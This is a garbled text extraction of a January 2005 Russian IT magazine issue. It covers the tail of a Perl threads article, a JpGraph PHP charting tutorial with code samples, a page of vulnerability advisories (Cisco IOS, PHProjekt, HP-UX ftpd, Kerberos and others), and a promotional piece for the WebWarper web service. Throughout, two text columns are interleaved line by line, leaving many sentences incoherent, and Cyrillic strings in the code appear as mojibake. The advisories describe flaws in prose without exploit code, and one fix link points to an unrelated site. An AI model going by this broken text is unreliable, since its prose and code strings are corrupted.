говорили о преимуществах, давайте просуммируем и не- нёте использовать нити в больших проектах, обязательно
достатки. ознакомьтесь со страницами документации perldoc threads,
Основное обстоятельство, накладывающее серьёзные threads::shared, Thread::Queue, Thread::Semaphore, perlthrtut
ограничения на производительность нитей, то, что каждая (в которой дано несколько дополнительных ссылок) и доку-
из них получает копию всех данных, доступных родителю. ментацией на вашу операционную систему. Не помешает и
Впрочем, дочерние процессы, порождённые с помощью fork, потестировать критичные узлы отдельно, прежде чем вно-
тоже получают копию данных родителя. Создание такой сить окончательные изменения.
копии приводит не только к излишнему расходу памяти, но Техника использования легковесных процессов, как вы
и к существенным затратам процессорного времени. Мы видите, ещё очень молода, и использовать её следует со
уже видели, что при «копировании» Perl выполняет ряд до- всей возможной осторожностью. Но с увеличением доли
полнительных действий, например, корректирует ссылки. многопроцессорных машин она, безусловно, будет совер-
К счастью, вы можете свести эти затраты практически шенствоваться, развиваться и стандартизироваться. А при
к нулю, ограничив количество глобальных переменных или аккуратном использовании она позволяет уже сейчас ка-
полностью отказавшись от таковых. Это, как известно, во- чественно усовершенствовать ваши программы, значитель-
обще хороший стиль программирования. но повысив их производительность.

№1, январь 2005 69


web

JpGraph
ДИНАМИЧЕСКАЯ ГРАФИКА – ЭТО ПРОСТО

КИРИЛЛ СУХОВ
Ещё каких-то лет пять назад человек, занимающийся раз- нимальным количеством кода. Существует некоторое ко-
работкой сайтов, мог гордо именовать себя веб-мастером, личество готовых библиотек для разработки графиков, на-
не вызывая при этом иронических усмешек у коллег. В это пример, автор этих строк в своё время использовал доволь-
понятие входили дизайн, вёрстка, веб-программирование, но удачную разработку – phplot (http://www.phplot.com), но
и в объявлениях о приёме на работу часто мирно ужива- безусловным лидером в этом отношении является объект-
лись требования по знанию Perl и Photoshop. Теперь, разу- но-ориентированная библиотека JpGraph.
меется, многое изменилось, и в резюме веб-программиста Среди её преимуществ можно выделить возможность
считается дурным тоном упоминать навыки работы с гра- построения множества видов графиков, неограниченного
фическими пакетами, даже если таковые и присутствуют. числа графиков одного типа в одном изображении, сглажи-
Тем не менее если вы работаете в небольшом проекте, в вание линий, заполнение фонов диаграмм и гистограмм гра-
бюджете которого не предусмотрен многочисленный штат диентной заливкой, генерация карт-изображений и кэширо-
сотрудников, то время от времени у вас может возникнуть вание рисунков. Стандартная версия библиотеки бесплатна
необходимость в самостоятельном создании кое-какой гра- (существует и коммерческая версия pro, в которой доступны
фики – кнопочек, маркеров, пиктограмм, фоновых изобра- некоторые дополнительные возможности, в частности, по-
жений, которые нужны для любого веб-интерфейса. В об- строение штрих-кодов). В статье речь пойдет о стандартной
щем случае такие задачи решаются использованием гото- версии, о возможностях коммерческой читатель может оз-
вой библиотеки изображений или приглашением знакомо- накомиться на сайте производителя – http://www.aditus.nu/
го дизайнера (как правило, за солидный гонорар – две, а jpgraph/jpg_proversion.php. Ещё одним достоинством этого
то и три бутылки пива). Проблема, решение которой изло- продукта является прекрасная документация, идущая вме-
жено ниже, не так стандартна и немного сложнее, хотя сте с дистрибутивом. На самом деле подробность докумен-
встречается не так уж редко. тации ставит под сомнение необходимость чтения этой ста-
Итак, представим, что вы разрабатываете/ведёте бил- тьи, но автор этих строк, как наверняка и кто-нибудь из вас,
линг, или складскую систему, или… в общем, приложение, попадал в ситуацию, когда времени на обстоятельное изу-
использующее базу данных и несущее достаточно сложную чение руководства просто нет, и я попытался изложить этот
логику. Представим также (хотя это и сложнее), что ника- материал для того, чтобы программист по его прочтении
ких особых проблем у вас нет – приложение работает кор- мог немедленно приступить к работе.
ректно, новая функциональность добавляется относитель-
но легко, небольшие корректировки много времени не от- Постановка задачи
нимают. В целом вы довольны, но кроме вас в офисе тру- Для примера возьмём вполне реальную проблему из прак-
дятся менеджеры, бухгалтеры, начальство, и вот у после- тики небольшого интернет-провайдера. Необходимо напи-
днего возникают довольно своеобразные требования. В сать скрипт, строящий график распределения входящего
частности, шефа не устраивают ваши отчёты, генерирую- трафика по дням за определённый период (скажем, за пос-
щиеся в виде аккуратных HTML-таблиц, ему нужны графи- ледние десять дней). Естественно, график должен строиться
ки, причём графики красивые и ежедневно (ежечасно?!) динамически и генерироваться по запросу на внутреннем
обновляющиеся. Не рисовать же их руками? веб-сайте компании. Будем считать, что веб-сервер с под-
К счастью, PHP-разработчик может воспользоваться держкой PHP уже установлен.
таким мощным инструментом, как графическая библиоте- Все нижеописанные действия проводились на веб-сер-
ка GD, включаемая по умолчанию в дистрибутив, начиная вере Apache версии 1.3.31 (Win32), работающем под управ-
с версии 4.0.1. Возможность попиксельной прорисовки и лением Windows 2000 Server. Версия интерпретатора PHP –
обработки изображения, манипуляции с размером картин- 4.3.9 с поддержкой библиотеки GD2, версии 2.0.28. PHP был
ки и текстом, наличие примитивов позволяют генерировать установлен как модуль.
достаточно сложную графику. Проблема заключается в том,
что на построение качественного графика или диаграммы Инсталляция
уйдет довольно много времени, а наша задача в данном В целом установка библиотеки JpGraph никаких сложнос-
случае – справиться с поручением в сжатые сроки и с ми- тей не вызовет. Нужно просто скачать архив с библиотекой,

70
web
расположенный по адресу http://www.aditus.nu/jpgraph.php, тыка» подогнать его под свои нужды. Когда передо мной
и распаковать его в папку документов вашего веб-серве- встала необходимость быстро построить график, я так и
ра. До установки следует убедиться, что PHP у вас версии сделал, но, разумеется, для полноценной работы с библио-
не ниже 4.01 (рекомендуется 4.3х) и скомпилирован с под- текой необходимо разобраться в её свойствах и методах,
держкой библиотеки GD (для доступа к последним возмож- поэтому далее мы будем строить график «с нуля».
ностям JpGraph, GD2).
Графические форматы, с которыми работает библиоте- Приступаем к работе (простой график)
ка, определяются возможностями установленной GD и ав- Прежде всего определимся с исходными данными. Разу-
томатически выбираются JpGraph в следующем порядке: меется, в реальных условиях они будут извлекаться из базы
«PNG», «GIF», «JPG». данных, но чтобы не усложнять задачу, мы просто созда-
Для проверки установки GD руководство по JpGraph ре- дим два массива, первый из которых будет состоять из чи-
комендует следующий простой сценарий: сел месяца, а второй – из соответствующих им показате-
лей входящего трафика.
$im = ImageCreate (50, 100)
or die ("Cannot create a new GD image."); <?
$background_color = ImageColorAllocate ($im, 255, 255, 255); $traff = array(350, 280, 450, 615, 588,755, 547,320, ↵
$text_color = ImageColorAllocate ($im, 233, 14, 91);
ImageString ($im, 1, 5, 5, "A Simple Text String", $text_color); 380, 810); // òðàôèê (Ìá)
$days = array (9, 10, 11, 12, 13, 14, 15, 16, 17, 18); // äàòû
header ("Content-type: image/png"); ?>
ImagePng ($im);
Для построения графика используем следующий код:
Если тест прошёл удачно и изображение было создано,
можно устанавливать библиотеку и начинать работу, но для include ("../jpgraph.php");
include ("../jpgraph_line.php");
реализации поставленной задачи необходимо выполнить $graph = new Graph(450, 200,"auto");
ещё несколько действий. Прежде всего вы должны обеспе- $graph->SetScale( "textlin");
$lineplot =new LinePlot($traff);
чить поддержку TTF-шрифтов (они нам обязательно пона- $graph->Add( $lineplot);
добятся, об этом далее). Для этого PHP должен быть со- $graph->Stroke();
бран с поддержкой TTF, а также с FreeType 1 или FreeType 2
библиотеками, и несколько (как минимум два) шрифтов ус- Если всё установлено правильно, в результате должна
тановлены в системе. получиться картинка, показанная на рис. 1 (пример дан в
Следующий этап – настройка нелатинских шрифтов. предположении, что ваш скрипт test.php расположен в пап-
Понятно, что в данном случае необходимости в китайских ке src/examples/, если это не так, отредактируйте пути к
символах у нас нет, а для использования кириллицы необ- библиотеке).
ходимо отредактировать файл jpg-config.inc. В нём имеют-
ся следующие настройки:

// Special unicode cyrillic language support


DEFINE("LANGUAGE_CYRILLIC",false);
// If you are setting this config to true the conversion
// will assume that the input text is windows 1251, if
// false it will assume koi8-r
DEFINE("CYRILLIC_FROM_WINDOWS",false);

После установки значений обоих параметров в true не-


обходимо убедиться, что на сервере имеются стандартные Ðèñóíîê 1
юникодные шрифты (обычно они лежат в директории типа Конечно, это ещё довольно далеко от желаемого резуль-
/usr/X11R6/lib/X11/fonts/TTF/) и проверить, поддерживают ли тата, но давайте сначала разберёмся в том, что мы уже сде-
они кириллицу. В случае их отсутствия шрифты следует ус- лали.
тановить, например с Windows-машины (должен заметить, В первых двух строчках кода мы подключаем базовую
что при установке под Windows проблем с кириллицей вооб- библиотеку jpgraph.php и один из модулей (plot extensions),
ще не возникает). После этого в том же файле jpg-config.inc в данном случае это jpgraph_line.php, необходимый для по-
следует прописать путь к шрифтам: строения линейных графиков. Затем создаём объект клас-
са Graph, задав его размеры, и выбираем масштаб оси X
DEFINE('TTF_DIR',…); (метод SetScale()). Потом создается объект класса plot (гра-
фик), параметры которого задаются созданным нами ра-
Теперь всё готово. Для проверки и ознакомления с воз- нее массивом, сохранённым в переменной $traff. В после-
можностями инструмента раскроем в браузере файл src/ дних двух строчках график добавляется в объект Graph и
examples/testsuit.php из дистрибутива библиотеки. Мы уви- методом Stroke() Graph выводится в браузер.
дим около трёхсот графиков диаграмм и рисунков, кликнув Данные по оси X должны соответствовать реальным
по каждому из которых, можно увидеть исходный код при- датам. Для этого добавим строчку:
мера. Самый лёгкий способ начать работу с библиотекой –
взять наиболее подходящий пример и методом «научного $graph->xaxis->SetTickLabels($days);

№1, январь 2005 71


web
Теперь добавим заголовок и подписи к осям (для чего Что внутри?
нам понадобится устанавливать шрифты). Теперь давайте разберёмся с внутренним устройством биб-
лиотеки. Как уже было упомянуто, для построения любого
$graph->title->SetFont(FF_VERDANA,FS_NORMAL,12); изображения необходимо включить в сценарий основной
$graph->xaxis->title->SetFont(FF_VERDANA,FS_NORMAL,8);
$graph->yaxis->title->SetFont(FF_VERDANA,FS_NORMAL,8); модуль – файл jpgraph.php и один или несколько модулей,
ответственных за построение изображения требуемого
$graph->title->Set("Òðàôèê");
$graph->xaxis->title->Set("Ïåðèîä"); типа. Все они содержатся в папке \src, хотя могут быть пе-
$graph->yaxis->title->Set("Òðàôèê (Mb)"); ренесены оттуда в любое удобное для вас место. (При этом,
разумеется надо соблюдать некоторые зависимости. Так,
Задача в первом приближении выполнена. внутренний модуль jpgraph_gradient.php никогда явно не
подключается к сценарию, но используется другими моду-
лями и без него не обойтись при генерации любого изобра-
жения, использующего градиентную заливку.) Ниже пере-
числены основные модули.
! jpgraph_line.php – уже знакомое нам расширение для по-
строения линейных графиков.
! jpgraph_bar.php – модуль для построения баров (гистог-
рамм).
! jpgraph_log.php – модуль для отображения логарифми-
ческих зависимостей.
Ðèñóíîê 2 ! jpgraph_error.php – модуль для вывода графических со-
Теперь осталось добавить удобочитаемость. Выполня- общений об ошибках (для чего это нужно – далее).
ем следующие действия. ! jpgraph_pie.php – модуль для построения плоских диаг-
Устанавливаем отступы и поля для подписи к оси Y (по- рамм.
скольку с ней проблемы): ! jpgraph_pie3d.php – модуль для построения 3D-диаг-
рамм.
$graph->SetMargin(60,40,40,40);
$graph->yaxis->SetTitlemargin(40);
! jpgraph_gantt.php – модуль для построения графиков
Ганта.
Добавляем маркеры и подписи к ним: ! jpgraph_radar.php, jpgraph_polar.php – модули позволя-
ют строить «центростремительную графику».
$lineplot->mark->SetType(MARK_IMG_DIAMOND, 'blue', 0.3);
$lineplot->value->Show() ;
! jpgraph_regstat.php – модуль для построения сглажен-
$lineplot->value->SetColor("darkgray"); ных графиков.
$lineplot->value->SetFont(FF_FONT0,FS_BOLD);
$lineplot->value->SetFormat(" %01.0f Mb");
! jpgraph_scatter.php – модуль для отображения распре-
деленных по плоскости элементов и векторов.
«Раскрашиваем» график, добавляем фон и тень: ! jpgraph_iconplot.php – модуль для работы с иконками,
которые могут быть добавлены к графикам.
$lineplot ->SetColor("blue");
$graph->SetColor('cadetblue1');
! jpgraph_plotband.php – модуль для работы с группами
$graph->SetMarginColor('lightblue3'); данных на графиках.
$graph->SetShadow(); ! jpgraph_canvas.php – модуль для возможности построе-
ния произвольных графиков.
По-моему, в результате получился вполне симпатичный ! jpgraph_canvtools.php – модуль для возможности пост-
график. роения произвольных форм.

С полным списком подключаемых модулей вы можете


ознакомиться в соответствующем разделе документации.
В коммерческую версию библиотеки входят ещё не-
сколько модулей, а именно:
! jpgraph_windrose.php – модуль для построения розы вет-
ров.
! jpgraph_odo.php – модуль для отображения одометри-
ческих данных.
! jpgraph_barcode.php – модуль для построения линейных
Ðèñóíîê 3 штрих-кодов.
Полный код, генерирующий эту картинку, приведен на ! jpgraph_pdf417.php – модуль для построения штрих-ко-
сайте журнала http://www.samag.ru/source. дов PDF417 2D.
Всё, что осталось сделать, – это сохранить весь код в
файле (например, my_graph.php) и в нужном месте веб-стра- Усложняем задачу
ницы вставить тег рисунка с указанием на этот файл (<img Теперь, используя полученную информацию, посмотрим, на
src=”my_graph.php”). что ещё способна библиотека JpGraph.

72
web
Сглаженный график Результат:
В вышеприведенном примере необходимость сглаживать
линии графика отсутствует, но для того, чтобы просто про-
демонстрировать эту возможность, мы сделаем это, немно-
го расширив диапазон значений.
Сначала представим исходные данные:

$traff = array(810,480, 550, 715, 688, 785, 847,902, 350, ↵


280, 450, 615, 588,755, 547,320, 380); // òðàôèê (Ìá)
$days = array (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, ↵
13, 14, 15, 16, 17); // äàòû

Теперь строим сглаженный график, подключив для это-


го ещё один модуль:

include "../jpgraph.php";
include "../jpgraph_line.php"; Ðèñóíîê 5
include "../jpgraph_regstat.php";
$spline = new Spline($days,$traff);
list($newx,$newy) = $spline->Get(100); Бары (гистограммы)
$g = new Graph(300,200); Указанное в заголовке представление данных было бы как
$g->SetMargin(30,20,40,30);
$g->SetScale('linlin'); раз наиболее уместным в предыдущем случае, но мы, сле-
$g->xaxis->SetLabelFormat('%0.0f'); дуя наказам менеджмента, используем эту визуализацию
$lplot = new LinePlot($newy,$newx);
$g->Add($lplot); несколько для другого – для отображения количества под-
$g->Stroke(); ключённых клиентов. Опять берём два массива:

Общая схема та же, что и в случае с простым графи- $pepl = array(8, 16, 10, 7, 4,12, 7,15, 11, ↵
22); // êîëè÷åñòâî ïîäêëþ÷åíèé
ком, но в данном случае мы создаём объект Spline(), опи- $days = array (9, 10, 11, 12, 13, 14, 15, 16, 17, 18); // äàòû
санный в модуле jpgraph_regstat.php. Быть может, резуль-
тат не очень впечатляет, но довести его до приличного вида И строим простую гистограмму:
большого труда не составит.
$width=480;
$height=280;
$graph = new Graph($width,$height,'auto');
$graph->SetScale("textlin");
$graph->SetBox();
$graph->xaxis->SetTickLabels($days);
$bplot = new BarPlot($pepl);
$bplot->SetWidth(0.5);
$graph->Add($bplot);
$graph->Stroke();

Собственно, это и всё. Немногим отличается от преды-


дущих примеров. Всего несколько строк кода, а результат
уже почти годен к употреблению. Сделаем его пригодным
окончательно.

Ðèñóíîê 4
Добавим на график маркеры, соответствующие точным
значениям трафика, и нарисуем координатную сетку. Сна-
чала подключим ещё один модуль:

include "../jpgraph_scatter.php";

Теперь расставляем маркеры:

$splot = new ScatterPlot($traff, $days);


$splot->mark->SetFillColor('blue@0.3');
$splot->mark->SetColor('green@0.5');
$g->Add($splot); Ðèñóíîê 6
Сначала добавим подписи к столбцам и заголовки:
И координатную сетку:
$graph->title->SetFont(FF_VERDANA,FS_BOLD,11);
$g->xgrid->Show(); $graph->title->Set("Ïîäêëþ÷åíèÿ");
$graph->subtitle->SetFont(FF_VERDANA,FS_NORMAL,9);

№1, январь 2005 73


web
$graph->subtitle->Set("(Äåêàáðü 2004)"); $graph->title->SetFont(FF FF_VERDANA,FS_BOLD,8);
$bplot->value->Show(); $graph->title->Set("Ðàñïðåäåëåíèå òðàôèêà");
$bplot->value->SetFont(FF_ARIAL,FS_BOLD,8); $graph->legend->SetColor('navy');
$bplot->value->SetAlign('left','center'); $graph->legend->SetFillColor('lightgreen');
$bplot->value->SetColor("white"); $graph->legend->SetLineWeight(1);
$bplot->value->SetFormat('%.0f'); $graph->legend->SetFont(FF_ARIAL,FS_NORMAL,8);
$bplot->SetValuePos('max'); $graph->legend->SetShadow('gray@0.4',3);
$graph->legend->SetAbsPos(10,100,'right','bottom');
$legends = array('Ôèç ëèöà','Þð Ëèöà','Ñëóæåáíûé');
Теперь сделаем картинку немножко привлекательней: $p1->SetLegends($legends);

$graph->SetMarginColor('white'); Результат вполне информативен (рис. 9), но, как и в пре-


$graph->SetBackgroundGradient('white','lightblue', ↵
GRAD_HOR,BGRAD_PLOT); дыдущих примерах, для красоты придадим диаграмме
$graph->SetFrame(false); объем и выделим служебный трафик.
$graph->xaxis->SetFont(FF_VERDANA,FS_NORMAL,8);
$graph->xaxis->SetLabelMargin(10);
$graph->xaxis->SetLabelAlign('right','center');
$graph->yaxis->scale->SetGrace(20);
$bplot->SetShadow();
$bplot->SetFillGradient('green','blue',GRAD_HOR);

Я не думаю, что данный код требует каких-либо объясне-


ний. Всё вполне интуитивно понятно.
Результат, конечно не является шедевром делового ди-
зайна, но вполне приемлем.

Ðèñóíîê 8

Ðèñóíîê 7

Диаграммы
Для демонстрации этой возможности также не будем дале-
ко уходить от реальности. Пусть на круговой диаграмме
необходимо отобразить распределение потребляемого тра-
фика. Допустим, что трафик, израсходованный физичес-
кими лицами за текущий месяц, составил 54.36 Гб, юриди-
ческими – 64.57 Гб, и, наконец, 6.75 Гб ушли на внутренние
нужды провайдера. Следующими несколькими строчками Ðèñóíîê 9
кода (обратившись к расширению PieGraph) рисуем про- Нужно заметить, что для работы следующего кода не-
стую круговую диаграмму: обходима вторая версия библиотеки GD, но так как в дист-
рибутив PHP в настоящее время входит расширение GD2,
<? это обстоятельство проблем создать не должно.
include ("../jpgraph.php");
include ("../jpgraph_pie.php"); Для начала подключаем ещё один модуль:
$data = array(54.36, 64.57, 6.75);
$graph = new PieGraph(300,200); include ("../jpgraph_pie3d.php");
$p1 = new PiePlot($data);
$graph->Add($p1);
$graph->Stroke();
? Заменяем вид диаграммы:

Результат показан на рис. 8. Как видите, проценты реа- //$p1 = new PiePlot($data);
$p1 = new PiePlot3D($data);
лизации библиотека вычисляет сама (мелочь, а приятно).
Добавляем заголовок и для пояснения создаем легенду Выделяем служебный трафик:
(пояснения к диаграмме или карте, иначе говоря «услов-
ные обозначения»). Легенду можно добавить практически $p1->ExplodeSlice(2);
ко всем объектам JpGraph, она представляет собой само-
стоятельный объект: Изменяем цвета по умолчанию:

74
web
$p1->SetSliceColors(array('skyblue3','yellow3','darkred')); тега <img>. Если бы не этот механизм, в случае возникно-
вения вышеописанной ошибки в браузер выводилось бы
Наконец, убираем совершенно неуместную в данном не привычное для разработчика сообщение, а рамка отсут-
случае рамку: ствующего рисунка, которая, разумеется, жизнь програм-
мисту никак не облегчает. Более того, при работе с биб-
$graph->SetFrame(false); лиотекой имеет смысл писать свои обработчики ошибок с
графическим выводом (благо её возможности это вполне
Полученный результат, думается, годится для представ- позволяют) к таким распространённым сбоям, как неудач-
ления. ный запрос к базе данных или неполадки при работе с фай-
ловой системой.

Ðèñóíîê 11

Что в перспективе
Библиотека JpGraph живёт и развивается, обрастая новы-
ми модулями. Неожиданное препятствие на пути её исполь-
зования возникло в связи с переходом разработчиков на
пятую версию языка PHP с совершенно другой объектной
Ðèñóíîê 10 моделью. Это общая проблема любых ОО-библиотек, за-
точенных под PHP 4. Язык обрёл новые возможности, но,
Дополнительные возможности как это нередко бывает, потерял частично обратную совме-
стимость.
Кэширование Так, уже первый пример из скрипта tessuit.php на новом
Любой программист, работавший с библиотекой GD, зна- движке выдаёт ошибку. Что делать? Можно, конечно, под-
ет, как сильно генерация изображений потребляет систем- править код библиотеки (причём, скорее всего, отказавшись
ные ресурсы. Если подобный график требуется создавать от некоторых возможностей), но можно и немного подож-
раз в сутки – ничего страшного, но если в вашем офисе дать. Создатели JpGraph держат руку на пульсе прогресса,
десяткам менеджеров требуются эти данные ежеминутно, и уже доступна альфа-версия библиотеки JpGraph 2, ори-
создание графиков на лету порождает серьёзные пробле- ентированная на пятую версию PHP (вернее, на новую
мы с производительностью. Поэтому нельзя переоценить объектную модель). Мне кажется, что внесенные измене-
ещё одну впечатляющую возможность JpGraph – управля- ния не будут препятствовать разработчикам, а напротив,
емое кэширование изображений. Под этим термином здесь помогут освоить новые горизонты.
подразумевается сохранение созданного изображения на
сервере, на заранее заданный период времени. В самом Заключение
деле, данные по ежедневному трафику обновляются раз в Конечно, в этой статье я осветил лишь небольшую часть воз-
сутки, соответственно более одного раза за 24 часа созда- можностей JpGraph. За кадром остались использование
вать изображение не имеет смысла. Для этого в объявле- карт-изображений (image-map), генерация текста, работа с
нии нового класса указываем (кроме размеров графа) имя готовой графикой, с фоновыми изображениями и многое
файла, в котором будет сохранено изображение, и период другое. Изучить их несложно.
актуальности данного кэша в минутах: Как уже упоминалось, JpGraph – не единственное сред-
ство для работы с графикой на PHP. Широко распростра-
$graph = new Graph(450, 200, "traf”, 1464, true); нены такие инструменты, как мощнейший по возможнос-
тям, но, к сожалению, коммерческий пакет для работы с
Теперь при повторном запросе графика в течение 24 ча- деловой графикой ChartDirector, или библиотека по работе
сов клиенту будет возвращено сохранённое в файле изоб- с готовыми изображениями ImageMagic.
ражение, а выполнение скрипта прервется. Наличие таких средств обработки графики, конечно,
ещё не повод исключить из процесса «сайтостроитель-
Сообщения об ошибках ства» дизайнера, но возможность иногда обойтись кодом
Если при обращении к какому-либо объекту или методу без участия дорогостоящих графических пакетов весьма
библиотеки была допущена ошибка, в браузер вместо изоб- приятна.
ражения отправляется графическое сообщение об ошиб- При написании данного материала были использова-
ке, аналогичное показанному на рис. 10. ны статья Александра Шиляева «JpGraph и русский язык»
Для чего это нужно? Всё просто. Основной способ пе- (http://detail.phpclub.ru/article/jpgraph_ru) и перевод руковод-
редачи изображений, созданных JpGraph, – использование ства по Jpgraph, выполненный Екатериной Жемойтук.

№1, январь 2005 75


bugtraq

Удаленный отказ в обслуживании Выполнение произвольного кода


в службах ITS, CME и SRST на Cisco IOS в HP-UX ftpd debug logging
Программа: Cisco IOS 12.1YD, 12.2T, 12.3 и 12.3T. Программа: HP-UX 11.00, 11.04, 11.11, 11.22.
Опасность: Высокая. Опасность: Высокая.
Описание: Обнаружен отказ в обслуживании в Cisco IOS, Описание: Обнаружено переполнение буфера в HP-UX ftpd.
сконфигурированной с поддержкой Telephony Service (ITS), Удаленный атакующий может выполнить произвольный код
Cisco CallManager Express (CME) или Survivable Remote Site на уязвимой системе.
Telephony (SRST). ITS, CME и SRST являются службами, Уязвимость существует, если ftpd-демон сконфигуриро-
которые позволяют контролировать IP-телефоны с помощью ван посредством /etc/inetd.conf и ведет лог отладки с пара-
протокола SCCP (Skinny Call Control Protocol). Удаленный метром v (конфигурация по умолчанию). Удаленный атаку-
пользователь может послать специально сформированные ющий может послать демону специально сформированную
пакеты на SCCP-порт (2000) устройства и вызвать его пе- команду, вызвать переполнение стека и выполнить произ-
резагрузку. Большое количество таких пакетов приведет к вольный код на уязвимой системе с привилегиями ftpd-про-
отказу в обслуживании системы. цесса. Для эксплуатации этой уязвимости не требуется ав-
URL производителя: http://cisco.com. торизация на сервере.
Решение: Установите обновления с сайта производителя. URL производителя: http://www.hp.com.
Решение: Установите патчи с сайта производителя.
Выполнение произвольных команд
в PHProjekt Отказ в обслуживании
Программа: PHProjekt 4.2.2. в MaxDB Web Agent
Опасность: Высокая. Программа: MySQL MaxDB Web Agent версии до 7.5.0.21,
Описание: Обнаружена уязвимость в PHProjekt. Удаленный SAP DB Web Agent.
атакующий может выполнить произвольные команды на уяз- Опасность: Высокая.
вимой системе. Описание: Две уязвимости в MySQL MaxDB Web Agent и
Уязвимость существует в сценарии authform.inc.php. Уда- SAP DB Web Agent позволяют удаленному пользователю
ленный атакующий может изменить значение глобальной вызвать отказ в обслуживании.
переменной $path_pre на внешний URL и выполнить произ- Уязвимость существует в функции sapdbwa_GetUserData().
вольный php-сценарий на системе с привилегиями севера. Удаленный пользователь может вызвать код обработчика
URL производителя: www.phprojekt.com. webdav с некорректным параметром и вызвать отказ в об-
Решение: Установите обновление: http://www.phprojekt.com/ служивании приложения.
files/4.2/lib.zip. Уязвимость существует из-за недостаточной фильтра-
ции данных в HTTP-заголовках. Удаленный пользователь
Выполнение произвольного кода может с помощью специально сформированных HTTP-за-
Netscape Directory Server на HP-UX головков вызвать отказ в обслуживании приложения.
Программа: HP-UX B.11.00, B.11.11, B.11.23 URL производителя: http://www.mysql.com/products/maxdb.
Опасность: Критическая. Решение: Установите обновление: http://dev.mysql.com/
Описание: Обнаружена уязвимость в Netscape Directory downloads/maxdb/7.5.00.html.
Server на HP-UX при использовании LDAP. Удаленный
пользователь может выполнить произвольный код на уяз- Выполнение произвольного кода
вимой системе. в Kerberos 5 в библиотеке libkadm5srv
Уязвимость существует из-за переполнения буфера в Программа: krb5-1.3.5 и более ранние версии.
Netscape Directory Server. Злоумышленник может вызвать Опасность: Высокая.
отказ в обслуживании или выполнить произвольный код на Описание: Обнаружено переполнение буфера в Kerberos 5
уязвимой системе. в административной библиотеке libkadm5srv при обработ-
Решение: Установите исправления с сайта производителя. ке истории паролей. Удаленный пользователь может вы-
полнить произвольный код на уязвимом KDC-хосте.
Несколько уязвимостей Уязвимость обнаружена в функции add_to_history() фай-
в Sybase Adaptive Server Enterprise ла src/lib/kadm5/srv/svr_principal.c. При определенной полити-
Программа: Sybase Adaptive Server Enterprise 12.5.2 и бо- ке безопасности паролей злоумышленник может выполнить
лее ранние версии. произвольный код на KDC (Key Distribution Center)-хосте.
Опасность: Критическая. URL производителя: http://web.mit.edu/kerberos/advisories/
Описание: Обнаружено три критических уязвимости в MITKRB5-SA-2004-004-pwhist.txt
Sybase Adaptive Server Enterprise. Подробности не сообща- Решение: Установите патч: http://www.mozilla.org/products/
ются. mozilla1.x и http://web.mit.edu/kerberos/advisories/2004-004-
URL производителя: http://www.sybase.com/products/data patch_1.3.5.txt.
baseservers/ase.
Решение: Установите исправление: http://www.sybase.com/ Составил Александр Антипов
products/informationmanagement/adaptiveserverenterprise.

76
на правах рекламы

ВЕБ-СЕРВИС ДЛЯ РАЗРАБОТЧИКОВ САЙТОВ


ДАНИИЛ АЛИЕВСКИЙ
Один из важнейших классов инструментов, используемых WebWarper позволяет подстраховаться. Если предложить
при создании сайтов, – так называемые веб-сервисы, по- посетителю смотреть сайт «сквозь» WebWarper, то и чужие
зволяющие дополнить сайт новыми функциями. Общеиз- сайты, на которые он перейдет по вашим ссылкам, с высо-
вестный пример – счетчики, например, популярные в Рос- кой вероятностью окажутся «очищенными» от вирусов.
сии www.spylog.ru или www.hotlog.ru. Вы регистрируетесь, Не менее ценным может оказаться сжатие данных. Стра-
копируете на свои страницы фрагмент HTML-кода и полу- ницы, «пропущенные» через WebWarper, незаметно для
чаете доступ к подробным статистическим отчетам о посе- пользователя сжимаются в полтора-три раза (нечто вроде
щаемости сайта. Другой пример – сервисы, предоставляе- известного zip). Сейчас все больше людей переключается
мые известными поисковыми системами, такими как Google с модемов на кабельные сети с помегабайтной оплатой
или Yandex. С их помощью вы можете создать форму для трафика. В России, увы, цены пока не настолько низкие,
поиска информации на вашем сайте. чтобы объемом трафика можно было пренебречь. При ак-
Веб-сервисы обладают целым рядом важных досто- тивной работе в Интернете за месяц можно запросто из-
инств. расходовать от нескольких сотен до нескольких тысяч руб-
Во-первых, использовать их чрезвычайно просто: все лей. Если на вашем сайте посетитель потратит вдвое мень-
сводится к копированию и вставке некоторого HTML-кода ше трафика, он это оценит.
в текст вашей страницы. Эта операция доступна любому Еще один нюанс. Если у посетителя очень медленный
«чайнику». или перегруженный канал – скажем, в каком-нибудь курор-
Во-вторых, авторы сервисов постоянно совершенству- тном интернет-кафе – некоторые сайты грузятся невыно-
ют свои продукты, и это автоматически отражается на ва- симо медленно. Благодаря сжатию доступ через WebWarper
шем сайте. может оказаться более эффективным (хотя возможна и об-
В-третьих, веб-сервисы не зависят от хостинга: если вы ратная ситуация).
решите перенести сайт в другое место, достаточно будет Далее, WebWarper является анонимайзером. Не каждо-
просто скопировать все страницы. Список преимуществ му сайту нужна анонимность его посетителей. Но бывают
можно продолжить. случаи, когда уместно предложить пользователям смотреть
К сожалению, на сегодня число веб-сервисов для раз- ваши страницы и сайты, на которые у вас есть ссылки, ано-
работчиков сайтов весьма ограниченно. Кроме счетчиков нимно, не «засвечивая» свой настоящий IP. В конце кон-
и поисковиков, можно назвать системы перевода на дру- цов, приватность – изначальное право посетителя. Кроме
гие языки, такие как www.translate.ru. Но подобные реше- улучшения сайта, WebWarper предлагает обмен ссылками:
ния пока не завоевали популярности среди авторов сай- сайты, использующие его для оптимизации, попадают в
тов. Хотя, казалось бы, что может быть логичнее: добавить список на webwarper.net. Это неплохой способ продвиже-
для иностранных посетителей кнопочку «перевести мой ния ресурса, учитывая популярность сервиса. (В открытой
сайт на такой-то язык». Конечно, перевод будет «корявым». статистике рейтинга SpyLOG на сегодня приведены такие
Но иногда это лучше, чем его полное отсутствие. данные: ~6000 посетителей в день, 4,5 млн. посетителей за
WebWarper – новый многофункциональный веб-сервис, всю историю, 5-е место в группе «Бесплатные интернет-
изначально рассчитанный на улучшение сайтов. Это сервисы».) Главная русскоязычная страница проекта: http://
фильтр, «пропускающий» сайты через себя. Пройдя через webwarper.net/wwr. Возможности, аналогичные перечислен-
него, сайт обретает новые возможности. ным, обеспечивают также некоторые другие инструменты.
Пожалуй, самая оригинальная из них – антивирусная Прежде всего нужно сказать про mod_gzip: бесплатный
защита. Множество людей заражаются вирусами через модуль к веб-серверу Apache. Если на сервере инсталли-
обычные веб-страницы, легкомысленно согласившись ин- рован mod_gzip, то все веб-страницы автоматически сжи-
сталлировать какой-нибудь модуль ActiveX. WebWarper уда- маются тем же методом, что и в случае WebWarper. Это
ляет опасный код со всех просматриваемых страниц. Спра- решение – для профессионалов, хорошо ориентирующих-
